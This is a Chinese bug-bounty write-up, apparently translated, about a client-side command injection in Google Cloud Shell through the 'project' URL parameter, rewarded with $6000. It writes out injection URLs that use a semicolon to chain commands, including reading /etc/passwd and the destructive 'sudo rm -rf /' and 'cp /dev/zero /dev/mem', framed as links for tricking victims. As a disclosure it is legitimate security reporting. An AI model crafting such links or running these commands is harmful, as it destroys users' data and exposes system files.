挖洞经验 | 看我如何发现Google云开发功能命令注入漏洞($6000)
作者:admin | 时间:2018-3-27 00:49:52 | 分类:黑客技术 隐藏侧边栏展开侧边栏
大家好,几个月之前我在Google的云平台开发应用Cloud Shell中发现了一个命令注入漏洞。由于这里的标题名称是“命令注入”,所以你可能会认为它是“影响服务器的正常命令注入”,但是这个漏洞却有非常不同,我们可以用“客户端命令注入”方式对它进行利用。
2015年10月,Google发布了Google Cloud Shell,它是Google云平台的一个功能,能够帮助开发者在任何浏览器中使用命令行管理基础设施和应用。有了Cloud Shell,就能通过命令行很方便地连接并管理Google云平台的计算资源而不必安装Google Cloud SDK和其它工具。
前期分析
当我在测试网站”console.cloud.google.com” 时,其中有一个链接是长这样的:
https://console.cloud.google.com/home/dashboard?project=“name of the project”
好吧,我们来试试不安全的直接对象引用(Insecure Direct Object References,IDOR))
把上述URL链接修改为这种样子:
https://console.cloud.google.com/home/dashboard?project=“Random project name”
来个实例:
https://console.cloud.google.com/home/dashboard?project=project-1 (not vulnerable to IDOR)
之后,项目名称被响应在了Cloud shell中。
分号大法
接下来,来试试XSS,把URL修改成这样:
https://console.cloud.google.com/home/dashboard?project=“XSS vector” (not vulnerable to XSS)
运行之后,Cloud shell提示“存在语法错误”:
此时,突然想到用分隔号来试试:
这一试,Cloud shell运行之后,没错误提示,也能成功通过了。
cat /etc/passwd
在Linux中,我们就经常使用分号符等方式来串接执行命令,就比如:
apt-get update; apt-get upgrade
那这里行不行呢,来看看:
https://console.cloud.google.com/home/dashboard?project=;ping google.com
这竟然也可以,它能成功执行分号后面的google.com网站ping操作!
那要是邪恶的cat /etc/passwd操作,行不行呢?:
https://console.cloud.google.com/home/dashboard?project=;cat /etc/passwd
哇,这也可以!!!!
漏洞利用
现在这种危害性的注入命令只是在我登录的谷歌云端服务中实现了成功运行。也就是说,它只会对我自己的谷歌云服务虚拟机(VM)形成影响,而不是谷歌自身的服务器系统或其他人的虚拟机平台。所以为了测试这种命令注入漏洞的实际威胁,我作了以下修改。
可以构造一种包含多种破坏命令的恶意链接来诱骗其它谷歌云服务用户上当,进而对他人云服务虚拟机(VM)造成影响,比如:
让云服务虚拟机崩溃的命令链接:
https://console.cloud.google.com/home/dashboard?project=;sudo cp /dev/zero /dev/mem
该链接中,由于/dev/mem中为物理内存镜像内容,而/dev/zero 则为提供无限的空字符的特殊文件,所以受害者一旦点击该链接后,就会执行这个破坏命令cp /dev/zero /dev/mem,虚拟机可能就会马上挂掉了。
删除文件的命令链接:(威胁更大)
https://console.cloud.google.com/home/dashboard?project=;sudo rm -rf /
该链接中,包含强制递归文件删除命令rm -rf,所以受害者一旦点击运行之后,其整个云服务虚拟机中的根目录文件就会被彻底删除。
根据我的测试分析,受害者需要点击“启用Cloud Shell功能”(Activate Cloud Shell)才能实现恶意链接执行,最终攻击才能成功。漏洞主要存在于谷歌云平台客户端创建的bash脚本中,可对以下服务造成影响:
但之后,根据谷歌安全团队的漏洞分析后发现,这完全不需要用户交互就能实现漏洞利用。最终,谷歌方面奖励了我 $6000 美金。
*参考来源:pranav,FreeBuf小编clouds编译